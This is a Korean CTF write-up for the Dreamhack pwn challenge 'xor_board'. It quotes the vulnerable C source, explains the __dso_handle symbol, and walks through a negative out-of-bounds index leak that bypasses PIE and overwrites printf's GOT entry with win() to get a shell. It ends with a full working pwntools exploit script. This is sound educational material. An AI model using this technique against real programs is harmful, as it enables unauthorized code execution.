[Dreamhack] xor_board
이번 pwn 문제는 , xor_board이다.

checksec으로 보호기법을 확인해봤을 때, PIE가 걸려있다는 것을 알 수 있다. 일단 이 점만 유의하면 된다.
이번 문제는 소스코드가 동봉돼있다. 핵심 코드만 살펴보면 다음과 같다.
uint64_t arr[64] = {0};
void initialize() {
for(int i = 0; i < 64; i++)
arr[i] = 1ul << i;
}
void print_menu() {
puts("1. XOR two values");
puts("2. Print one value");
printf("> ");
}
void xor() {
int32_t i, j;
printf("Enter i & j > ");
scanf("%d%d", &i, &j);
arr[i] ^= arr[j];
}
void print() {
uint32_t i;
printf("Enter i > ");
scanf("%d", &i);
printf("Value: %lx\n", arr[i]);
}
void win() {
system("/bin/sh");
}
main() 함수에서는 1 또는 2를 입력받아 xor()로 가거나 print()로 간다. 별 내용 없어서 생략했다.
arr 배열의 인덱스를 초과함으로써 exploit이 가능할 것으로 보였다. PIE가 걸려있지만, arr 배열은 스택이 아닌 .bss 영역에 존재한다. 그래서 존재하는 함수 opcode를 덮어씌워 조작하는건가 싶어 여러 차례 시도해봤다.

하지만 해당 영역은 w, 즉, 쓰기 권한이 없다. 따라서 덮어씌우는 것이 불가능했다.
이후로 생각한 것은 PIE base를 leak해서 GOT 테이블에 있는 값을 변조한 것이였다. 어떻게든 PIE base만 얻어낼 수 있으면 됐다.

arr 영역에서 조금만 올라가면(주소가 낮아지면) 바로 GOT 테이블이 존재했기 때문이다. 인덱스 OOB(Out Of Bounds; 범위를 벗어나는 것)를 통해 libc base를 굳이 뽑아내지 않아도 GOT 테이블의 값은 쉽게 가져올 수 있다. 또한, 덮어씌우는 것도 가능하다.
여기서 PIE base만 알아내면 된다. 그래서 근처 값들을 자세히 살펴보니,

여기에 굉장히 이상한 값이 껴있었다. 0x0000555555557488라는 주소 안에, 자기자신의 주소를 값(0x0000555555557488)으로 갖는 공간이 존재했다. Ghidra로 해당 공간을 살펴본바는 다음과 같다.

__dso_handle이라는 값의 공간이다.
__dso_handle
이 부분은 문제풀이와 깊은 관련은 없다. 단지, __dso_handle이 무엇인지에 대해 가볍게 살펴보고 넘어간다.
__dso_handle에서 dso는 Dynamic Shared Object의 약자이다. 이름만 보면, 동적 공유객체를 관리하는 데 사용된다고 생각할 수 있다. 정확히는 C++로 작성된 실행파일 또는 공유 라이브러리에서 전역, 또는 static 객체의 소멸을 관리하는 데 사용된다. 보통은 C++에서만 사용하지만, C 바이너리에도 존재한다.
전역 또는 static 객체의 생명주기는 해당 실행파일 또는 라이브러리를 따라간다. 따라서, 라이브러리가 해제되거나, 실행파일이 종료되는 경우에 객체도 같이 소멸(destruct)되어야할 필요가 있다. C++에서는 이를 소멸자(destructor)를 통해 수행하는데, 소멸자를 실행시켜줄 무언가가 필요하다.
__cxa_atexit(void (*func)(void *), void *arg, void *dso_handle);
이 함수를 통해 메모리에서 해제될 때 소멸자를 실행시켜줄 수 있다. 첫번째 인자에 소멸자의 주소, 두번째 인자에 객체의 주소, 세번째 인자에 dso_handle이 들어간다.
각 라이브러리마다 다른 영역을 배정받는다. 예를 들어, A 라이브러리는 0x1000 ~ 0x2000의 영역, B 라이브러리는 0x2000 ~ 0x3000의 영역을 받았다고 가정하자. 각 라이브러리마다 객체 또한 가지고 있을 것이다.

만약 A 라이브러리가 메모리에서 해제된다면 전역 객체 Apple도, static 객체 Agent도 소멸되어야 한다.
A 라이브러리가 메모리에서 해제되는 순간, 사전에 A 라이브러리의 dso_handle로 등록(__cxa_atexit()로 등록)됐던 A 소유의 객체 소멸자들이 실행된다. 이렇게 안전하게 객체들을 소멸시키고 라이브러리를 종료할 수 있다.
즉, dso_handle은 라이브러리를 구별할 수 있기 위해 존재한다. 라이브러리들마다 메모리 영역이 고유하므로, 자기 자신의 주소를 값으로 함으로써 라이브러리 고유 ID를 자처할 수 있는 것이다.
C에서는 PIE가 걸려있는 경우에 __dso_handle이 자기자신의 주소를 값으로 갖고, PIE가 걸려있지 않은 경우에는 NULL을, 즉 0을 값으로 갖는다.
이어서

arr를 기준으로, printf@got.plt는 -128바이트, __dso_handle은 -56바이트 떨어져 있다. 각각 인덱스로 치환하면, arr[-16], arr[-7]이 된다.
두 값을 얻어오는건 아주 쉽다. arr 중에서도 안 쓰게 될 것 같은 영역인 arr[63]에 값을 불러오면 된다.
arr[63] ^= arr[63]을 통해 해당 공간을 0으로 만들어준 뒤, arr[63] ^= arr[-16]을 하면 arr[63] 공간에 printf@got.plt에 들어있던 값을 뽑아올 수 있다.

이어서 __dso_handle의 값도 가져온다. printf@got.plt의 값을 메모해둔 뒤 arr[63]의 공간을 재활용해도 좋고, arr[62] 공간을 활용해도 좋다.

디버거로 실행파일을 열어서, 최종 목적지인 win() 함수의 주소를 확인해보면, __dso_handle보다 0x209b만큼 아래(낮은 주소)에 위치한다.
따라서, 마지막에 printf@got.plt 공간과 계산(xor)되어야할 값은 (([__ds_handle value] - 0x209b) ^ [printf@got.plt value])가 된다.
얻어낸 값을 arr[-16], 즉, printf@got.plt가 있는 공간에 xor시켜주면 값이 win() 함수의 주소로 덮어씌워진다.
그림으로 보면 다음과 같다.







수작업으로 해도 괜찮지만, 자동화를 하고 싶다면 다음의 코드를 사용할 수 있다.
from pwn import *
p = process('./main')
p.recvuntil(b'> ')
p.sendline(b'1\n63\n63\n1\n63\n-16\n2\n63')
p.recvuntil(b'Value: ')
printf_addr = int((b'0x' + p.recvuntil(b'\n')).decode(), 16)
p.recvuntil(b'> ')
p.sendline(b'1\n63\n63\n1\n63\n-7\n2\n63')
p.recvuntil(b'Value: ')
dso_addr = int((b'0x' + p.recvuntil(b'\n')).decode(), 16)
target = (dso_addr - 0x209b) ^ (printf_addr & 0xffffffffffffffff)
p.recvuntil(b'> ')
p.sendline(b'1\n63\n63')
i = 0
while target != 0:
t = target & 0xf
if t & 0x8 == 0x8:
p.recvuntil(b'> ')
p.sendline(bytes(f'1\n63\n{i + 3}', 'utf-8'))
if t & 0x4 == 0x4:
p.recvuntil(b'> ')
p.sendline(bytes(f'1\n63\n{i + 2}', 'utf-8'))
if t & 0x2 == 0x2:
p.recvuntil(b'> ')
p.sendline(bytes(f'1\n63\n{i + 1}', 'utf-8'))
if t & 0x1 == 0x1:
p.recvuntil(b'> ')
p.sendline(bytes(f'1\n63\n{i}', 'utf-8'))
i += 4
target >>= 4
p.recvuntil(b'> ')
p.sendline(b'1\n-16\n63')
p.interactive()
xor이 완료되자마자 print_menu() 함수가 실행되면서 내부적으로 printf()를 호출한다. 하지만 printf()의 plt 값을 win() 함수의 주소로 바꿔치기했으므로 바로 쉘이 실행되게 된다.
